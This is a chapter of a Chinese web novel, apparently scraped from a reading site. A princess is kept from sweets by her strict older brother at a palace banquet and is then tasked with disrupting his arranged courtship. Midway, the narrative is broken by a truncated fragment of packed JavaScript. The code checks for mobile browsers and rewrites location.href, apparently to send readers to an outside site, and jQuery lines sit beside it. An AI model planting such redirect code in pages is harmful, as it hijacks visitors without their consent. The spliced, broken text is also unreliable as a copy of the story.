金时玉手指点了有一阵,眉头越拧越紧。
金碎青吃糖没有节制,她吃完盘中的,周围的小姐们又继续投喂,甚至要来了一壶果子露,摆在她手边。
金时玉闭了闭眼。
金碎青已经换完了牙,再长龋齿,没牙可换。而且,上次拔牙,她觉了痛,两个月没跟他说过话。
金时玉试了试,钳子夹住牙齿用力拽,他没用麻药,很疼。
一天不管,金碎青换位置,喝酒,吃糖,不让她做的事情轮着做了个遍。
今晚回家得看着她刷牙。
金时玉轻捏眉心,睁开眼,唤来侍从,本想嘱咐人将小郡主桌上的甜食果饮全撤了,换一碗清口的汤水,没来得及说,皇甫瑛珊珊来迟,宴会开始了。
金碎青酌了杯果子露,刚一饮而尽,含着酒同众宾客站起来,没憋住,呛了一口,小声咳嗽。
此时瑶光殿内十分安静,更显她咳嗽清晰。
皇甫瑛落座后笑道:“郡主急什么,又没人抢你的酒。”
金碎青捂着嘴,眨了眨眼。
好在皇甫瑛并未问她为何换座,看了眼她,便让她坐下了。
在外人眼中,女帝言行举止很宠溺小侄女。
可金碎青看得清楚,皇甫瑛眼中满是嫌弃,大概已经在骂她上不得台面了。
太好了,金碎青偷笑,她就要这个效果。
形象仁慈爱民的姨妈越觉得她蠢钝,她就能多安稳一段时日。
金碎青刚坐下,往嘴里塞了块桂花糕,一转头,对上了金时玉的视线。
金时玉正直勾勾地盯着她的嘴。
金碎青咀嚼的动作恍然滞住,睁着一双大眼,吐也不是,咽也不是。
良久,金时玉食指轻轻碰了碰嘴唇。
金碎青心虚地移开视线,金时玉在提醒她最后一块,不能再吃了。
她不爽地放下蠢蠢欲动的手,都离她这么远了,话都说不上,还要管她。
金碎青郁闷,连喝两杯果子露,酸酸甜甜,尝不出酒味,很好喝。
吃不行,喝总行了吧。
不一会儿,一个侍从弯着腰靠过来:“小郡主,给您把吃完的东西撤下去。”
金碎青疑惑:“我还没吃完啊。”
侍从恭敬道:“金少爷说您吃完了。”
金碎青远远瞪了一眼金时玉。
金时玉没有丝毫闪躲之意,隔着几排席位,眈眈地凝视她,看得金碎青打了个寒颤。
满腔怨懑被金时玉眼神无情压制,抗拒不了,她决然闭上眼,拒绝面对侍从端走她桌子上所有的甜食的残忍场景。
果真三十年河东三十年河西,金时玉在两位皇甫处受了重用,都能使唤人管她了。
侍从撤掉盘子,给她上了碗澄澈清亮的鸡汤,和装着白灼鸡腿与蘸料的套碟,才退了下去,候在她身边。
金碎青扫了一圈,别人的桌子上并没有这几样。
想到了什么,她又望向金时玉。
这回金时玉不看她了,他侧头,似乎是在专心听皇甫瑛说话。
哼哼,算他识相。
金碎青一边啃鸡腿,一边听皇甫瑛说场面话。女帝言语间没什么过于严肃的内容,翻译过来就是,大家都是人才,吃好玩好,趁着这个机会,互相认识,培养培养感情。
末了,皇甫瑛居然当众道:“金家乃九州重族,多年来人丁稀缺,算一算,时玉也到了该求娶的年纪了吧?”
“吧嗒”。金碎青啃了一半的鸡腿掉到了汤里,溅起几点油花。
宴会前,皇甫黎说什么来着?
“女帝急得不是他。”
言下之意,今晚主角另有其人。
她还纳闷,除了皇甫黎,谁这么大牌,能成为今晚的主角。
原来是哥哥啊。
金碎青低头捞起鸡腿,边啃边想,女帝如此青睐金时玉,无非在敲打金贵忠,未来该将家业交给谁。
也是因这么多年不见金贵忠有传授的意图,女帝才会借着相亲给金时玉抬身价。
虽然金碎青也很想学,她很想弄清楚,超级燃硫机在没有硫底金的情况下,是如何造成醉仙楼那种规模的爆炸。
不过不是现在。
毕竟学术诚可贵,保命价更高。
金碎青胡乱抹了抹粘在手指上的汤水,听到金时玉道:“圣上关怀备至,恩德如山,时玉感激涕零。”
皇甫瑛道:“时玉多礼了,今夜无需良多规矩,天地同乐。”
一来一回间,足以证明二人关系亲近。
女帝话锋一转,又道:“听闻今晚淮安侯之女殷如是也在?”
殷如是起身行礼,落落大方:“拜见圣上,圣上万安。”
金碎青留意到因她与殷如是换了座位,殷如是刚巧与金时玉面对面。两人对相而立,郎才女貌,好不搭对。
金碎青顺势嗦了嗦鸡骨,怪不得姨妈不过问她为何换座位。
一段简短寒暄,同时提及两位,姨妈你撮合之意不要太明显哦。
弄明白今晚宴会与她没什么干系,金碎青更松散,窝在后排,望着壁人般的‘哥哥嫂嫂’,专心啃最后一点腿肉。
嘿嘿,男俊女靓,怪养眼的。
金碎青一阵胃口大开,刚抬手想再要一个鸡腿时,某个该死东西忽道:“任务:搅乱相亲。限时一个月,倒计时开始。”
金碎青气得差点拔地而起,心中骂道:“狗系统,都要进主线了,不能让我多消停会儿?”
系统如死了般,回复她的只有滋滋的电流声。
侍从凑过来道:“小郡主有何吩咐?”
金碎青竖起的手指一根变两根:“我要一个鸡腿,不两个。”
化悲愤为食欲,吃饱再做牛马。
侍从恭敬道:“不行小郡主,金少爷嘱咐过,只有一个,再要就没了,他怕您吃积食,晚上睡不好。”
金时玉预判了她的预判。
左右受气的金碎青见讨食无望,抱着脑袋趴在了桌子上。
皇甫瑛饮了几杯酒,说了几句场面话便离开了瑶光殿,将宴会场交给了小辈们。
世家新贵们三三两两,饮酒寒暄,互有好感的男女相伴携行,去画舫放灯去了。
金碎青百无聊赖,本想再向邻座姐姐讨两颗糖,结果看到男子席间金时玉忽然起身,要往她这个方向走,吓得她赶忙托腮装走神。
不过他还没走两步,就被人叫住了。
金碎青看到商亭芝拦住他,在他耳边嘱咐了什么,稍后,金时玉垂眼点头,方向一拐,停在了殷如是桌前。
人声吵杂,金碎青听不到金时玉说什么。
不过看他风度翩翩,与殷如是保持舒适的距离,嘴唇轻勾,温和恭敬地摆出一个邀请的手势。
殷如是也点了点头,随着他一同走出大殿。
临走前,金是玉回眸,扫了金碎青一眼。
金碎青看懂了他眼底的警告。
不能再吃糖。
她回以一个无辜假笑,心道,哥你都被姨妈按头强制相亲约会去了,居然还有心思管我。
吐槽归吐槽,任务还是要做的,从今天开始,金碎青就是变态哥控“金珊珊”!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907601|174509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>酒意壮人胆,她果断起身,悄悄跟在金时玉和殷如是身后,只见二人说笑着上了幢双层画舫。
画舫烟中浅,青阳日际微。
夜景甚美,男女欢笑,唯独金碎青一人,如同角落里的小鼠,从柳树后钻了出来,蹑手蹑脚钻入画舫。
文人浪漫,九州池内画舫以四季为题,此条为春,舫外黄铜齿轮被漆成了桃色,舫内轻纱为幔,屏风相隔,其间坐了不少人。
舞台处,一对男女正弹唱《牡丹亭》。
金时玉与殷如是选了靠窗的位子,而金碎青坐在隐蔽的角落里,偷偷观察二人。
金碎青小算盘打得飞快。
估计皇甫瑛派人盯着金时玉和殷如是,要是她贸然杀出当电灯泡,很快就会被带走。
如果等二人亲近些,有些暧昧小互动时忽然出现,上演一出兄控妹妹撒泼,定要让他们只要想起今日,就尴尬地脚趾扣地。
最好流传出去,让金时玉落入永久相亲黑名单。
当然,她还要把握尺度,真情流露恰到好处,不能让皇甫瑛怀疑她存心搅局。
“噗。”金碎青效出了声,一旦想到她一会儿要做什么,她就想笑,实在憋不住,金碎青趴在桌子上,笑得不停抽动。
正笑时,她的肩膀被拍了一下,金碎青猛地抬头:“谁?”
金时玉躬身,离她脸一掌宽的距离,微微颔首,视线上抬,勾起唇角,有些玩味地看着她。
他身后,殷如是探出头:“我说那姑娘肯定是小郡主,哈哈,果然是。”
金碎青张狂的笑容僵在了脸上。
坏菜。
*
三人一桌,金碎青尴尬得能用脚趾扣出五里地。
金时玉抬手,要了壶清水。
三人中,最放松的反倒是殷如是。
她笑着将蜜饯推到金碎青面前,爽利道:“小郡主,宴会时没认出你,真是抱歉,看你爱吃甜,来,多吃些。”
“谢谢殷姐姐!”金碎青伸手要取,没拿到蜜饯,却撞上了身旁金时玉微凉的手心。
他推开果碟:“殷小姐有所不知,妹妹容易起龋齿,今夜她已经用了不少甜食,不宜再食。”
收手时,金时玉顺带轻抽金碎青的手背。
金时玉没用什么力气,看着更像抚了一下。
金碎青却捂着手背瘪嘴,在桌子下面踢了一脚金时玉小腿,喃喃道:“哥哥多嘴。”
金时玉挑眉:“什么?”
“没什么。”金碎青看向别处装傻。
殷如是笑着给金碎青倒茶:“茶呢,吃不了甜,茶总可以喝吧。”
喝过酒,金碎青口干舌燥,乐意道:“嘿嘿,殷姐姐真好,我要喝。”
那边,金时玉拦住殷如是:“也不好,她喝茶晚上不好入睡,不劳烦殷小姐,我来就好。”
说着,金时玉给金碎青倒了杯清水。
酒意逐渐上头,烧得金碎青委屈,她慢慢收回要接茶的手,瘪着嘴,木楞地望着向殷如是。
殷如是努力忍笑,关切道:“小郡主怎得了,脸色那么难看。”
金时玉也转头看金碎青:“妹妹困了?”
俗话说得好,酒壮怂人胆。
金碎青垂着头,一句话也没说,默默站了起来,远离金时玉,坐到殷如是的身边,她小声道:“就是,晚上喝了些果子露,有些晕,殷姐姐不用担心,”
金碎青咂嘴,告状似地说:“还有,哥哥管得好宽,我已经长大了,不要哥哥管那么多。”
随她话音一落。
登时,金时玉的脸冷得透彻。